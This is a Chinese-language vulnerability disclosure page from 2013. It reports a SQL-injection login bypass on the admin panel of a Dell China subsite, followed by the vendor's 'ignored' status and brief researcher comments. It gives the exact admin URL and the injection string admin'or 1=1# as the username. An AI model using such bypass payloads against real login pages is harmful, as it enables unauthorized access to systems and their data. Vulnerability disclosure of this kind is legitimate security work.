漏洞概要
关注数(24)
关注此漏洞
漏洞标题:戴尔中国某分站后台万能密码漏洞
提交时间:2013-10-29 08:49
修复时间:2013-11-03 08:50
公开时间:2013-11-03 08:50
漏洞类型:SQL注射漏洞
危害等级:中
自评Rank:10
漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞
Tags标签:
无
漏洞详情
披露状态:
2013-10-29: 细节已通知厂商并且等待厂商处理中
2013-11-03: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
后台万能密码漏洞
详细说明:
漏洞地址:http://dellcity.dell-brand.com/admin/login.php
用户名:admin'or 1=1# 密码任意,登陆之
漏洞证明:
修复方案:
漏洞回应
厂商回应:
危害等级:无影响厂商忽略
忽略时间:2013-11-03 08:50
厂商回复:
最新状态:
暂无
漏洞评价:
评论
-
2013-10-29 09:17 |
寂寞的瘦子 ( 普通白帽子 | Rank:242 漏洞数:53 | 一切语言转汇编理论)
-
@寂寞的瘦子 如果还是那个网站的话我在25号的时候就报过了额。。。
-
2013-10-29 11:31 |
Passer_by ( 实习白帽子 | Rank:97 漏洞数:21 | 问题真实存在但是影响不大(腾讯微博Passer...)
@华为技术有限公司 @Kowalski 看来这是华为哥的马甲
-
2013-10-29 12:19 |
寂寞的瘦子 ( 普通白帽子 | Rank:242 漏洞数:53 | 一切语言转汇编理论)
@华为技术有限公司 厂商不重视。已经公开了。等着被脱裤子
-
2013-10-31 22:05 |
x1AoJ ( 路人 | Rank:1 漏洞数:3 | web技术爱好者)
-
2013-11-01 08:34 |
寂寞的瘦子 ( 普通白帽子 | Rank:242 漏洞数:53 | 一切语言转汇编理论)
-
2013-11-01 21:59 |
x1AoJ ( 路人 | Rank:1 漏洞数:3 | web技术爱好者)
@寂寞的瘦子 哎,真给我打击,这是我挖的第一个洞子。。。求大牛带~~~
-
2013-11-03 09:09 |
寂寞的瘦子 ( 普通白帽子 | Rank:242 漏洞数:53 | 一切语言转汇编理论)
-
2013-11-03 13:15 |
x1AoJ ( 路人 | Rank:1 漏洞数:3 | web技术爱好者)